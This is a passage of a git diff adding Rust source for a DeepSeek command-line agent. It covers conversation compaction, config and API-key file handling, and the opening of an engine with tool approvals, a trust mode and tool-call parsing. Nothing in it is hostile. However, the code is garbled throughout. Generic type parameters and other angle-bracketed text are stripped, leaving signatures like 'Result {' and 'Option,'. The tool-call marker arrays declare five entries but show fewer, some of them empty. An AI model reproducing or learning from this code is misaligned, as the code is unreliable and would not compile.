&DeepSeekClient, + messages: &[Message], + model: &str, +) -> Result { + // Format messages for summarization + let mut conversation_text = String::new(); + for msg in messages { + let role = if msg.role == "user" { + "User" + } else { + "Assistant" + }; + for block in &msg.content { + match block { + ContentBlock::Text { text, .. } => { + let _ = write!(conversation_text, "{role}: {text}\n\n"); + } + ContentBlock::ToolUse { name, .. } => { + let _ = write!(conversation_text, "{role}: [Used tool: {name}]\n\n"); + } + ContentBlock::ToolResult { content, .. } => { + let snippet = truncate_chars(content, 500); + let _ = write!(conversation_text, "Tool result: {}\n\n", snippet); + } + ContentBlock::Thinking { .. } => { + // Skip thinking blocks in summary + } + } + } + } + + let request = MessageRequest { + model: model.to_string(), + messages: vec![Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: format!( + "Summarize the following conversation in a concise but comprehensive way. \ + Preserve key information, decisions made, and any important context. \ + Keep it under 500 words.\n\n---\n\n{conversation_text}" + ), + cache_control: None, + }], + }], + max_tokens: 1024, + system: Some(SystemPrompt::Text( + "You are a helpful assistant that creates concise conversation summaries.".to_string(), + )), + tools: None, + tool_choice: None, + metadata: None, + thinking: None, + stream: Some(false), + temperature: Some(0.3), + top_p: None, + }; + + let response = client.create_message(request).await?; + + // Extract text from response + let summary = response + .content + .iter() + .filter_map(|block| match block { + ContentBlock::Text { text, .. } => Some(text.clone()), + _ => None, + }) + .collect::>() + .join("\n"); + + Ok(summary) +} + +pub fn merge_system_prompts( + original: Option<&SystemPrompt>, + summary: Option, +) -> Option { + match (original, summary) { + (None, None) => None, + (Some(orig), None) => Some(orig.clone()), + (None, Some(sum)) => Some(sum), + (Some(SystemPrompt::Text(orig_text)), Some(SystemPrompt::Blocks(mut sum_blocks))) => { + // Prepend original system prompt + sum_blocks.insert( + 0, + SystemBlock { + block_type: "text".to_string(), + text: orig_text.clone(), + cache_control: None, + }, + ); + Some(SystemPrompt::Blocks(sum_blocks)) + } + (Some(SystemPrompt::Blocks(orig_blocks)), Some(SystemPrompt::Blocks(mut sum_blocks))) => { + // Prepend original blocks + for (i, block) in orig_blocks.iter().enumerate() { + sum_blocks.insert(i, block.clone()); + } + Some(SystemPrompt::Blocks(sum_blocks)) + } + (Some(orig), Some(SystemPrompt::Text(sum_text))) => { + let mut blocks = match orig { + SystemPrompt::Text(t) => vec![SystemBlock { + block_type: "text".to_string(), + text: t.clone(), + cache_control: None, + }], + SystemPrompt::Blocks(b) => b.clone(), + }; + blocks.push(SystemBlock { + block_type: "text".to_string(), + text: sum_text, + cache_control: None, + }); + Some(SystemPrompt::Blocks(blocks)) + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn truncate_chars_respects_unicode_boundaries() { + let text = "abc😀é"; + assert_eq!(truncate_chars(text, 0), ""); + assert_eq!(truncate_chars(text, 1), "a"); + assert_eq!(truncate_chars(text, 3), "abc"); + assert_eq!(truncate_chars(text, 4), "abc😀"); + assert_eq!(truncate_chars(text, 5), "abc😀é"); + } + + #[test] + fn is_transient_error_detects_network_issues() { + let timeout_err = anyhow::anyhow!("Connection timeout"); + assert!(is_transient_error(&timeout_err)); + + let rate_limit_err = anyhow::anyhow!("429 Too Many Requests"); + assert!(is_transient_error(&rate_limit_err)); + + let service_err = anyhow::anyhow!("503 Service Unavailable"); + assert!(is_transient_error(&service_err)); + + let network_err = anyhow::anyhow!("network error: connection refused"); + assert!(is_transient_error(&network_err)); + } + + #[test] + fn is_transient_error_rejects_permanent_errors() { + let auth_err = anyhow::anyhow!("401 Unauthorized: Invalid API key"); + assert!(!is_transient_error(&auth_err)); + + let parse_err = anyhow::anyhow!("Failed to parse JSON response"); + assert!(!is_transient_error(&parse_err)); + + let validation_err = anyhow::anyhow!("Invalid request: missing required field"); + assert!(!is_transient_error(&validation_err)); + } + + #[test] + fn estimate_tokens_empty_messages() { + let messages: Vec = vec![]; + assert_eq!(estimate_tokens(&messages), 0); + } + + #[test] + fn estimate_tokens_with_text() { + let messages = vec![Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: "Hello, world!".to_string(), // 13 chars = ~3 tokens + cache_control: None, + }], + }]; + let tokens = estimate_tokens(&messages); + assert!(tokens > 0 && tokens < 10); + } + + #[test] + fn should_compact_respects_enabled_flag() { + let config = CompactionConfig { + enabled: false, + ..Default::default() + }; + // Even with many messages, disabled compaction should return false + let messages: Vec = (0..100) + .map(|_| Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: "test".to_string(), + cache_control: None, + }], + }) + .collect(); + assert!(!should_compact(&messages, &config)); + } + + #[test] + fn should_compact_respects_message_threshold() { + let config = CompactionConfig { + enabled: true, + token_threshold: 1_000_000, // Very high + message_threshold: 5, + ..Default::default() + }; + + // Under threshold + let few_messages: Vec = (0..4) + .map(|_| Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: "x".to_string(), + cache_control: None, + }], + }) + .collect(); + assert!(!should_compact(&few_messages, &config)); + + // Over threshold + let many_messages: Vec = (0..10) + .map(|_| Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: "x".to_string(), + cache_control: None, + }], + }) + .collect(); + assert!(should_compact(&many_messages, &config)); + } +} diff --git a/src/config.rs b/src/config.rs new file mode 100644 index 00000000..1fec4878 --- /dev/null +++ b/src/config.rs @@ -0,0 +1,706 @@ +//! Configuration loading and defaults for deepseek-cli. + +use std::collections::HashMap; +use std::fmt::Write; +use std::fs; +use std::path::{Path, PathBuf}; + +use anyhow::{Context, Result}; +use serde::Deserialize; + +use crate::features::{Features, FeaturesToml, is_known_feature_key}; +use crate::hooks::HooksConfig; + +// === Types === + +/// Raw retry configuration loaded from config files. +#[derive(Debug, Clone, Deserialize)] +pub struct RetryConfig { + pub enabled: Option, + pub max_retries: Option, + pub initial_delay: Option, + pub max_delay: Option, + pub exponential_base: Option, +} + +/// UI configuration loaded from config files. +#[derive(Debug, Clone, Deserialize, Default)] +pub struct TuiConfig { + pub alternate_screen: Option, +} + +/// Resolved retry policy with defaults applied. +#[derive(Debug, Clone)] +pub struct RetryPolicy { + pub enabled: bool, + pub max_retries: u32, + pub initial_delay: f64, + pub max_delay: f64, + pub exponential_base: f64, +} + +impl RetryPolicy { + /// Compute the backoff delay for a retry attempt. + #[must_use] + pub fn delay_for_attempt(&self, attempt: u32) -> std::time::Duration { + let exponent = i32::try_from(attempt).unwrap_or(i32::MAX); + let delay = self.initial_delay * self.exponential_base.powi(exponent); + let delay = delay.min(self.max_delay); + std::time::Duration::from_secs_f64(delay) + } +} + +/// Resolved CLI configuration, including defaults and environment overrides. +#[derive(Debug, Clone, Default, Deserialize)] +pub struct Config { + pub api_key: Option, + pub base_url: Option, + pub default_text_model: Option, + pub tools_file: Option, + pub skills_dir: Option, + pub mcp_config_path: Option, + pub notes_path: Option, + pub memory_path: Option, + pub allow_shell: Option, + pub max_subagents: Option, + pub retry: Option, + pub features: Option, + + /// TUI configuration (alternate screen, etc.) + pub tui: Option, + + /// Lifecycle hooks configuration + #[serde(default)] + pub hooks: Option, +} + +#[derive(Debug, Clone, Deserialize, Default)] +struct ConfigFile { + #[serde(flatten)] + base: Config, + profiles: Option>, +} + +// === Config Loading === + +impl Config { + /// Load configuration from disk and merge with environment overrides. + /// + /// # Examples + /// + /// ```ignore + /// # use crate::config::Config; + /// let config = Config::load(None, None)?; + /// # Ok::<(), anyhow::Error>(()) + /// ``` + pub fn load(path: Option, profile: Option<&str>) -> Result { + let path = path.or_else(default_config_path); + let mut config = if let Some(path) = path.as_ref() { + if path.exists() { + let contents = fs::read_to_string(path) + .with_context(|| format!("Failed to read config file: {}", path.display()))?; + let parsed: ConfigFile = toml::from_str(&contents) + .with_context(|| format!("Failed to parse config file: {}", path.display()))?; + apply_profile(parsed, profile)? + } else { + Config::default() + } + } else { + Config::default() + }; + + apply_env_overrides(&mut config); + config.validate()?; + Ok(config) + } + + /// Validate that critical config fields are present. + pub fn validate(&self) -> Result<()> { + if let Some(ref key) = self.api_key + && key.trim().is_empty() + { + anyhow::bail!("api_key cannot be empty string"); + } + if let Some(features) = &self.features { + for key in features.entries.keys() { + if !is_known_feature_key(key) { + anyhow::bail!("Unknown feature flag: {key}"); + } + } + } + if let Some(tui) = &self.tui + && let Some(mode) = tui.alternate_screen.as_deref() + { + let mode = mode.to_ascii_lowercase(); + if !matches!(mode.as_str(), "auto" | "always" | "never") { + anyhow::bail!( + "Invalid tui.alternate_screen '{mode}': expected auto, always, or never." + ); + } + } + Ok(()) + } + + /// Return the `DeepSeek` base URL (normalized). + #[must_use] + pub fn deepseek_base_url(&self) -> String { + let base = self + .base_url + .clone() + .unwrap_or_else(|| "https://api.deepseek.com".to_string()); + normalize_base_url(&base) + } + + /// Read the `DeepSeek` API key from config/environment. + pub fn deepseek_api_key(&self) -> Result { + self.api_key + .clone() + .context( + "Failed to load DeepSeek API key: DEEPSEEK_API_KEY missing. Set it in config.toml or environment.", + ) + } + + /// Resolve the skills directory path. + #[must_use] + pub fn skills_dir(&self) -> PathBuf { + self.skills_dir + .as_deref() + .map(expand_path) + .or_else(default_skills_dir) + .unwrap_or_else(|| PathBuf::from("./skills")) + } + + /// Resolve the MCP config path. + #[must_use] + pub fn mcp_config_path(&self) -> PathBuf { + self.mcp_config_path + .as_deref() + .map(expand_path) + .or_else(default_mcp_config_path) + .unwrap_or_else(|| PathBuf::from("./mcp.json")) + } + + /// Resolve the notes file path. + #[must_use] + pub fn notes_path(&self) -> PathBuf { + self.notes_path + .as_deref() + .map(expand_path) + .or_else(default_notes_path) + .unwrap_or_else(|| PathBuf::from("./notes.txt")) + } + + /// Resolve the memory file path. + #[must_use] + pub fn memory_path(&self) -> PathBuf { + self.memory_path + .as_deref() + .map(expand_path) + .or_else(default_memory_path) + .unwrap_or_else(|| PathBuf::from("./memory.md")) + } + + /// Return whether shell execution is allowed. + #[must_use] + pub fn allow_shell(&self) -> bool { + self.allow_shell.unwrap_or(false) + } + + /// Return the maximum number of concurrent sub-agents. + #[must_use] + pub fn max_subagents(&self) -> usize { + self.max_subagents.unwrap_or(5).clamp(1, 5) + } + + /// Get hooks configuration, returning default if not configured. + pub fn hooks_config(&self) -> HooksConfig { + self.hooks.clone().unwrap_or_default() + } + + /// Resolve enabled features from defaults and config entries. + #[must_use] + pub fn features(&self) -> Features { + let mut features = Features::with_defaults(); + if let Some(table) = &self.features { + features.apply_map(&table.entries); + } + features + } + + /// Override a feature flag in memory (used by CLI overrides). + pub fn set_feature(&mut self, key: &str, enabled: bool) -> Result<()> { + if !is_known_feature_key(key) { + anyhow::bail!("Unknown feature flag: {key}"); + } + let table = self.features.get_or_insert_with(FeaturesToml::default); + table.entries.insert(key.to_string(), enabled); + Ok(()) + } + + /// Resolve the effective retry policy with defaults applied. + #[must_use] + pub fn retry_policy(&self) -> RetryPolicy { + let defaults = RetryPolicy { + enabled: true, + max_retries: 3, + initial_delay: 1.0, + max_delay: 60.0, + exponential_base: 2.0, + }; + + let Some(cfg) = &self.retry else { + return defaults; + }; + + RetryPolicy { + enabled: cfg.enabled.unwrap_or(defaults.enabled), + max_retries: cfg.max_retries.unwrap_or(defaults.max_retries), + initial_delay: cfg.initial_delay.unwrap_or(defaults.initial_delay), + max_delay: cfg.max_delay.unwrap_or(defaults.max_delay), + exponential_base: cfg.exponential_base.unwrap_or(defaults.exponential_base), + } + } +} + +// === Defaults === + +fn default_config_path() -> Option { + if let Ok(path) = std::env::var("DEEPSEEK_CONFIG_PATH") + && !path.trim().is_empty() + { + return Some(PathBuf::from(path)); + } + dirs::home_dir().map(|home| home.join(".deepseek").join("config.toml")) +} + +fn expand_path(path: &str) -> PathBuf { + let expanded = shellexpand::tilde(path); + PathBuf::from(expanded.as_ref()) +} + +fn default_skills_dir() -> Option { + dirs::home_dir().map(|home| home.join(".deepseek").join("skills")) +} + +fn default_mcp_config_path() -> Option { + dirs::home_dir().map(|home| home.join(".deepseek").join("mcp.json")) +} + +fn default_notes_path() -> Option { + dirs::home_dir().map(|home| home.join(".deepseek").join("notes.txt")) +} + +fn default_memory_path() -> Option { + dirs::home_dir().map(|home| home.join(".deepseek").join("memory.md")) +} + +// === Environment Overrides === + +fn apply_env_overrides(config: &mut Config) { + if let Ok(value) = std::env::var("DEEPSEEK_API_KEY") { + config.api_key = Some(value); + } + if let Ok(value) = std::env::var("DEEPSEEK_BASE_URL") { + config.base_url = Some(value); + } + if let Ok(value) = std::env::var("DEEPSEEK_SKILLS_DIR") { + config.skills_dir = Some(value); + } + if let Ok(value) = std::env::var("DEEPSEEK_MCP_CONFIG") { + config.mcp_config_path = Some(value); + } + if let Ok(value) = std::env::var("DEEPSEEK_NOTES_PATH") { + config.notes_path = Some(value); + } + if let Ok(value) = std::env::var("DEEPSEEK_MEMORY_PATH") { + config.memory_path = Some(value); + } + if let Ok(value) = std::env::var("DEEPSEEK_ALLOW_SHELL") { + config.allow_shell = Some(value == "1" || value.eq_ignore_ascii_case("true")); + } + if let Ok(value) = std::env::var("DEEPSEEK_MAX_SUBAGENTS") + && let Ok(parsed) = value.parse::() + { + config.max_subagents = Some(parsed.clamp(1, 5)); + } +} + +fn normalize_base_url(base: &str) -> String { + let trimmed = base.trim_end_matches('/'); + let deepseek_domains = ["api.deepseek.com", "api.deepseeki.com"]; + if deepseek_domains + .iter() + .any(|domain| trimmed.contains(domain)) + { + return trimmed.trim_end_matches("/v1").to_string(); + } + trimmed.to_string() +} + +fn apply_profile(config: ConfigFile, profile: Option<&str>) -> Result { + if let Some(profile_name) = profile { + let profiles = config.profiles.as_ref(); + match profiles.and_then(|profiles| profiles.get(profile_name)) { + Some(override_cfg) => Ok(merge_config(config.base, override_cfg.clone())), + None => { + let available = profiles + .map(|profiles| { + let mut keys = profiles.keys().cloned().collect::>(); + keys.sort(); + if keys.is_empty() { + "none".to_string() + } else { + keys.join(", ") + } + }) + .unwrap_or_else(|| "none".to_string()); + anyhow::bail!( + "Profile '{}' not found. Available profiles: {}", + profile_name, + available + ) + } + } + } else { + Ok(config.base) + } +} + +fn merge_config(base: Config, override_cfg: Config) -> Config { + Config { + api_key: override_cfg.api_key.or(base.api_key), + base_url: override_cfg.base_url.or(base.base_url), + default_text_model: override_cfg.default_text_model.or(base.default_text_model), + tools_file: override_cfg.tools_file.or(base.tools_file), + skills_dir: override_cfg.skills_dir.or(base.skills_dir), + mcp_config_path: override_cfg.mcp_config_path.or(base.mcp_config_path), + notes_path: override_cfg.notes_path.or(base.notes_path), + memory_path: override_cfg.memory_path.or(base.memory_path), + allow_shell: override_cfg.allow_shell.or(base.allow_shell), + max_subagents: override_cfg.max_subagents.or(base.max_subagents), + retry: override_cfg.retry.or(base.retry), + tui: override_cfg.tui.or(base.tui), + hooks: override_cfg.hooks.or(base.hooks), + features: merge_features(base.features, override_cfg.features), + } +} + +fn merge_features( + base: Option, + override_cfg: Option, +) -> Option { + match (base, override_cfg) { + (None, None) => None, + (Some(mut base), Some(override_cfg)) => { + for (key, value) in override_cfg.entries { + base.entries.insert(key, value); + } + Some(base) + } + (Some(base), None) => Some(base), + (None, Some(override_cfg)) => Some(override_cfg), + } +} + +pub fn ensure_parent_dir(path: &Path) -> Result<()> { + if let Some(parent) = path.parent() { + fs::create_dir_all(parent) + .with_context(|| format!("Failed to create directory: {}", parent.display()))?; + } + Ok(()) +} + +/// Save an API key to the config file. Creates the file if it doesn't exist. +pub fn save_api_key(api_key: &str) -> Result { + fn is_api_key_assignment(line: &str) -> bool { + let trimmed = line.trim_start(); + trimmed + .strip_prefix("api_key") + .is_some_and(|rest| rest.trim_start().starts_with('=')) + } + + let config_path = default_config_path() + .context("Failed to resolve config path: home directory not found.")?; + + ensure_parent_dir(&config_path)?; + + let content = if config_path.exists() { + // Read existing config and update the api_key line + let existing = fs::read_to_string(&config_path)?; + if existing.contains("api_key") { + // Replace existing api_key line + let mut result = String::new(); + for line in existing.lines() { + if is_api_key_assignment(line) { + let _ = writeln!(result, "api_key = \"{api_key}\""); + } else { + result.push_str(line); + result.push('\n'); + } + } + result + } else { + // Prepend api_key to existing config + format!("api_key = \"{api_key}\"\n{existing}") + } + } else { + // Create new minimal config + format!( + r#"# DeepSeek CLI Configuration +# Get your API key from https://platform.deepseek.com + +api_key = "{api_key}" + +# Base URL (default: https://api.deepseek.com) +# base_url = "https://api.deepseek.com" + +# Default model +default_text_model = "deepseek-reasoner" +"# + ) + }; + + fs::write(&config_path, content) + .with_context(|| format!("Failed to write config to {}", config_path.display()))?; + + Ok(config_path) +} + +/// Check if an API key is configured (either in config or environment) +pub fn has_api_key(config: &Config) -> bool { + config.api_key.is_some() +} + +/// Clear the API key from the config file +pub fn clear_api_key() -> Result<()> { + let config_path = default_config_path() + .context("Failed to resolve config path: home directory not found.")?; + + if !config_path.exists() { + return Ok(()); + } + + let existing = fs::read_to_string(&config_path)?; + let mut result = String::new(); + + for line in existing.lines() { + if !line.trim_start().starts_with("api_key") { + result.push_str(line); + result.push('\n'); + } + } + + fs::write(&config_path, result) + .with_context(|| format!("Failed to write config to {}", config_path.display()))?; + + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::collections::HashMap; + use std::env; + use std::ffi::OsString; + use std::sync::{Mutex, OnceLock}; + use std::time::{SystemTime, UNIX_EPOCH}; + + struct EnvGuard { + home: Option, + userprofile: Option, + deepseek_config_path: Option, + } + + impl EnvGuard { + fn new(home: &Path) -> Self { + let home_str = OsString::from(home.as_os_str()); + let config_path = home.join(".deepseek").join("config.toml"); + let config_str = OsString::from(config_path.as_os_str()); + let home_prev = env::var_os("HOME"); + let userprofile_prev = env::var_os("USERPROFILE"); + let deepseek_config_prev = env::var_os("DEEPSEEK_CONFIG_PATH"); + // Safety: test-only environment mutation guarded by a global mutex. + unsafe { + env::set_var("HOME", &home_str); + env::set_var("USERPROFILE", &home_str); + env::set_var("DEEPSEEK_CONFIG_PATH", &config_str); + } + Self { + home: home_prev, + userprofile: userprofile_prev, + deepseek_config_path: deepseek_config_prev, + } + } + } + + impl Drop for EnvGuard { + fn drop(&mut self) { + if let Some(value) = self.home.take() { + // Safety: test-only environment mutation guarded by a global mutex. + unsafe { + env::set_var("HOME", value); + } + } else { + // Safety: test-only environment mutation guarded by a global mutex. + unsafe { + env::remove_var("HOME"); + } + } + if let Some(value) = self.userprofile.take() { + // Safety: test-only environment mutation guarded by a global mutex. + unsafe { + env::set_var("USERPROFILE", value); + } + } else { + // Safety: test-only environment mutation guarded by a global mutex. + unsafe { + env::remove_var("USERPROFILE"); + } + } + if let Some(value) = self.deepseek_config_path.take() { + // Safety: test-only environment mutation guarded by a global mutex. + unsafe { + env::set_var("DEEPSEEK_CONFIG_PATH", value); + } + } else { + // Safety: test-only environment mutation guarded by a global mutex. + unsafe { + env::remove_var("DEEPSEEK_CONFIG_PATH"); + } + } + } + } + + fn env_lock() -> &'static Mutex<()> { + static LOCK: OnceLock> = OnceLock::new(); + LOCK.get_or_init(|| Mutex::new(())) + } + + #[test] + fn save_api_key_writes_config() -> Result<()> { + let _lock = env_lock().lock().unwrap(); + let nanos = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos(); + let temp_root = env::temp_dir().join(format!( + "deepseek-cli-test-{}-{}", + std::process::id(), + nanos + )); + fs::create_dir_all(&temp_root)?; + let _guard = EnvGuard::new(&temp_root); + + let path = save_api_key("test-key")?; + let expected = temp_root.join(".deepseek").join("config.toml"); + assert_eq!(path, expected); + + let contents = fs::read_to_string(&path)?; + assert!(contents.contains("api_key = \"test-key\"")); + Ok(()) + } + + #[test] + fn test_tilde_expansion_in_paths() -> Result<()> { + let _lock = env_lock().lock().unwrap(); + let nanos = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos(); + let temp_root = env::temp_dir().join(format!( + "deepseek-cli-tilde-test-{}-{}", + std::process::id(), + nanos + )); + fs::create_dir_all(&temp_root)?; + let _guard = EnvGuard::new(&temp_root); + + let config = Config { + skills_dir: Some("~/.deepseek/skills".to_string()), + ..Default::default() + }; + let expected_home = dirs::home_dir().expect("home dir not found"); + let expected_skills = expected_home.join(".deepseek").join("skills"); + let actual_skills = config.skills_dir(); + assert_eq!( + actual_skills.components().collect::>(), + expected_skills.components().collect::>() + ); + + Ok(()) + } + + #[test] + fn test_nonexistent_profile_error() { + let mut profiles = HashMap::new(); + profiles.insert("work".to_string(), Config::default()); + let config = ConfigFile { + base: Config::default(), + profiles: Some(profiles), + }; + + let err = apply_profile(config, Some("nonexistent")).unwrap_err(); + let message = err.to_string(); + assert!(message.contains("Profile 'nonexistent' not found")); + assert!(message.contains("Available profiles")); + assert!(message.contains("work")); + } + + #[test] + fn test_profile_with_no_profiles_section() { + let config = ConfigFile { + base: Config::default(), + profiles: None, + }; + + let err = apply_profile(config, Some("missing")).unwrap_err(); + assert!(err.to_string().contains("Available profiles: none")); + } + + #[test] + fn test_save_api_key_doesnt_match_similar_keys() -> Result<()> { + let _lock = env_lock().lock().unwrap(); + let nanos = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos(); + let temp_root = env::temp_dir().join(format!( + "deepseek-cli-api-key-test-{}-{}", + std::process::id(), + nanos + )); + fs::create_dir_all(&temp_root)?; + let _guard = EnvGuard::new(&temp_root); + + let config_path = temp_root.join(".deepseek").join("config.toml"); + ensure_parent_dir(&config_path)?; + fs::write( + &config_path, + "api_key_backup = \"old\"\napi_key = \"current\"\n", + )?; + + let path = save_api_key("new-key")?; + assert_eq!(path, config_path); + + let contents = fs::read_to_string(&config_path)?; + assert!(contents.contains("api_key_backup = \"old\"")); + assert!(contents.contains("api_key = \"new-key\"")); + Ok(()) + } + + #[test] + fn test_empty_api_key_rejected() { + let config = Config { + api_key: Some(" ".to_string()), + ..Default::default() + }; + assert!(config.validate().is_err()); + } + + #[test] + fn test_missing_api_key_allowed() -> Result<()> { + let config = Config::default(); + config.validate()?; + Ok(()) + } +} diff --git a/src/core/engine.rs b/src/core/engine.rs new file mode 100644 index 00000000..d3f58451 --- /dev/null +++ b/src/core/engine.rs @@ -0,0 +1,1520 @@ +//! Core engine for `DeepSeek` CLI. +//! +//! The engine handles all AI interactions in a background task, +//! communicating with the UI via channels. This enables: +//! - Non-blocking UI during API calls +//! - Real-time streaming updates +//! - Proper cancellation support +//! - Tool execution orchestration + +use std::path::PathBuf; +use std::pin::pin; +use std::sync::{Arc, Mutex}; +use std::time::Instant; + +use anyhow::Result; +use futures_util::StreamExt; +use futures_util::stream::FuturesUnordered; +use serde_json::json; +use tokio::sync::{Mutex as AsyncMutex, RwLock, mpsc}; +use tokio_util::sync::CancellationToken; + +use crate::client::DeepSeekClient; +use crate::compaction::{ + CompactionConfig, compact_messages_safe, merge_system_prompts, should_compact, +}; +use crate::config::Config; +use crate::duo::{DuoSession, SharedDuoSession, session_summary as duo_session_summary}; +use crate::features::{Feature, Features}; +use crate::llm_client::LlmClient; +use crate::mcp::McpPool; +use crate::models::{ + ContentBlock, ContentBlockStart, Delta, Message, MessageRequest, StreamEvent, Tool, Usage, +}; +use crate::prompts; +use crate::rlm::{RlmSession, SharedRlmSession, session_summary as rlm_session_summary}; +use crate::tools::plan::{PlanState, SharedPlanState}; +use crate::tools::spec::{ApprovalRequirement, ToolError, ToolResult}; +use crate::tools::subagent::{ + SharedSubAgentManager, SubAgentRuntime, SubAgentType, new_shared_subagent_manager, +}; +use crate::tools::todo::{SharedTodoList, TodoList}; +use crate::tools::{ToolContext, ToolRegistryBuilder}; +use crate::tui::app::AppMode; + +use super::events::Event; +use super::ops::Op; +use super::session::Session; +use super::tool_parser; +use super::turn::{TurnContext, TurnToolCall}; + +// === Types === + +/// Configuration for the engine +#[derive(Debug, Clone)] +pub struct EngineConfig { + /// Model identifier to use for responses. + pub model: String, + /// Workspace root for tool execution and file operations. + pub workspace: PathBuf, + /// Allow shell tool execution when true. + pub allow_shell: bool, + /// Enable trust mode (skip approvals) when true. + pub trust_mode: bool, + /// Path to the notes file used by the notes tool. + pub notes_path: PathBuf, + /// Path to the MCP configuration file. + pub mcp_config_path: PathBuf, + /// Maximum number of assistant steps before stopping. + pub max_steps: u32, + /// Maximum number of concurrently active subagents. + pub max_subagents: usize, + /// Feature flags controlling tool availability. + pub features: Features, + /// Shared RLM session state. + pub rlm_session: SharedRlmSession, + /// Shared Duo session state. + pub duo_session: SharedDuoSession, + /// Auto-compaction settings for long conversations. + pub compaction: CompactionConfig, + /// Shared Todo list state. + pub todos: SharedTodoList, + /// Shared Plan state. + pub plan_state: SharedPlanState, +} + +impl Default for EngineConfig { + fn default() -> Self { + Self { + model: "deepseek-reasoner".to_string(), + workspace: PathBuf::from("."), + allow_shell: false, + trust_mode: false, + notes_path: PathBuf::from("notes.txt"), + mcp_config_path: PathBuf::from("mcp.json"), + max_steps: 100, + max_subagents: 5, + features: Features::with_defaults(), + rlm_session: Arc::new(Mutex::new(RlmSession::default())), + duo_session: Arc::new(Mutex::new(DuoSession::new())), + compaction: CompactionConfig::default(), + todos: Arc::new(Mutex::new(TodoList::new())), + plan_state: Arc::new(Mutex::new(PlanState::default())), + } + } +} + +/// Handle to communicate with the engine +#[derive(Clone)] +pub struct EngineHandle { + /// Send operations to the engine + pub tx_op: mpsc::Sender, + /// Receive events from the engine + pub rx_event: Arc>>, + /// Cancellation token for the current request + cancel_token: CancellationToken, + /// Send approval decisions to the engine + tx_approval: mpsc::Sender, +} + +impl EngineHandle { + /// Send an operation to the engine + pub async fn send(&self, op: Op) -> Result<()> { + self.tx_op.send(op).await?; + Ok(()) + } + + /// Cancel the current request + pub fn cancel(&self) { + self.cancel_token.cancel(); + } + + /// Check if a request is currently cancelled + #[must_use] + pub fn is_cancelled(&self) -> bool { + self.cancel_token.is_cancelled() + } + + /// Approve a pending tool call + pub async fn approve_tool_call(&self, id: impl Into) -> Result<()> { + self.tx_approval + .send(ApprovalDecision::Approved { id: id.into() }) + .await?; + Ok(()) + } + + /// Deny a pending tool call + pub async fn deny_tool_call(&self, id: impl Into) -> Result<()> { + self.tx_approval + .send(ApprovalDecision::Denied { id: id.into() }) + .await?; + Ok(()) + } + + /// Retry a tool call with an elevated sandbox policy. + pub async fn retry_tool_with_policy( + &self, + id: impl Into, + policy: crate::sandbox::SandboxPolicy, + ) -> Result<()> { + self.tx_approval + .send(ApprovalDecision::RetryWithPolicy { + id: id.into(), + policy, + }) + .await?; + Ok(()) + } +} + +// === Engine === + +/// The core engine that processes operations and emits events +pub struct Engine { + config: EngineConfig, + deepseek_client: Option, + deepseek_client_error: Option, + session: Session, + subagent_manager: SharedSubAgentManager, + mcp_pool: Option>>, + rx_op: mpsc::Receiver, + rx_approval: mpsc::Receiver, + tx_event: mpsc::Sender, + cancel_token: CancellationToken, + tool_exec_lock: Arc>, +} + +#[derive(Debug, Clone)] +enum ApprovalDecision { + Approved { + id: String, + }, + Denied { + id: String, + }, + /// Retry a tool with an elevated sandbox policy. + RetryWithPolicy { + id: String, + policy: crate::sandbox::SandboxPolicy, + }, +} + +/// Result of awaiting tool approval from the user. +#[derive(Debug)] +enum ApprovalResult { + /// User approved the tool execution. + Approved, + /// User denied the tool execution. + Denied, + /// User requested retry with an elevated sandbox policy. + RetryWithPolicy(crate::sandbox::SandboxPolicy), +} + +// === Internal stream helpers === + +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +enum ContentBlockKind { + Text, + Thinking, + ToolUse, +} + +#[derive(Debug, Clone)] +struct ToolUseState { + id: String, + name: String, + input: serde_json::Value, + input_buffer: String, +} + +struct ToolExecOutcome { + index: usize, + id: String, + name: String, + input: serde_json::Value, + started_at: Instant, + result: Result, +} + +// Hold the lock guard for the duration of a tool execution. +enum ToolExecGuard<'a> { + Read(tokio::sync::RwLockReadGuard<'a, ()>), + Write(tokio::sync::RwLockWriteGuard<'a, ()>), +} + +const TOOL_CALL_START_MARKERS: [&str; 5] = [ + "[TOOL_CALL]", + "", +]; +const TOOL_CALL_END_MARKERS: [&str; 5] = [ + "[/TOOL_CALL]", + "", + "", + "", + "", +]; + +fn find_first_marker(text: &str, markers: &[&str]) -> Option<(usize, usize)> { + markers + .iter() + .filter_map(|marker| text.find(marker).map(|idx| (idx, marker.len()))) + .min_by_key(|(idx, _)| *idx) +} + +fn filter_tool_call_delta(delta: &str, in_tool_call: &mut bool) -> String { + if delta.is_empty() { + return String::new(); + } + + let mut output = String::new(); + let mut rest = delta; + + loop { + if *in_tool_call { + let Some((idx, len)) = find_first_marker(rest, &TOOL_CALL_END_MARKERS) else { + break; + }; + rest = &rest[idx + len..]; + *in_tool_call = false; + } else { + let Some((idx, len)) = find_first_marker(rest, &TOOL_CALL_START_MARKERS) else { + output.push_str(rest); + break; + }; + output.push_str(&rest[..idx]); + rest = &rest[idx + len..]; + *in_tool_call = true; + } + } + + output +} + +fn parse_tool_input(buffer: &str) -> Option { + let trimmed = buffer.trim(); + if trimmed.is_empty() { + return None; + } + if let Ok(value) = serde_json::from_str::(trimmed) { + return Some(value); + } + if let Some(stripped) = strip_code_fences(trimmed) + && let Ok(value) = serde_json::from_str::(&stripped) + { + return Some(value); + } + if let Ok(serde_json::Value::String(inner)) = serde_json::from_str::(trimmed) + && let Ok(value) = serde_json::from_str::(&inner) + { + return Some(value); + } + extract_json_segment(trimmed) + .and_then(|segment| serde_json::from_str::(&segment).ok()) +} + +fn strip_code_fences(text: &str) -> Option { + if !text.contains("```") { + return None; + } + let mut lines = Vec::new(); + for line in text.lines() { + if line.trim_start().starts_with("```") { + continue; + } + lines.push(line); + } + let stripped = lines.join("\n"); + let stripped = stripped.trim(); + if stripped.is_empty() { + None + } else { + Some(stripped.to_string()) + } +} + +fn extract_json_segment(text: &str) -> Option { + extract_balanced_segment(text, '{', '}').or_else(|| extract_balanced_segment(text, '[', 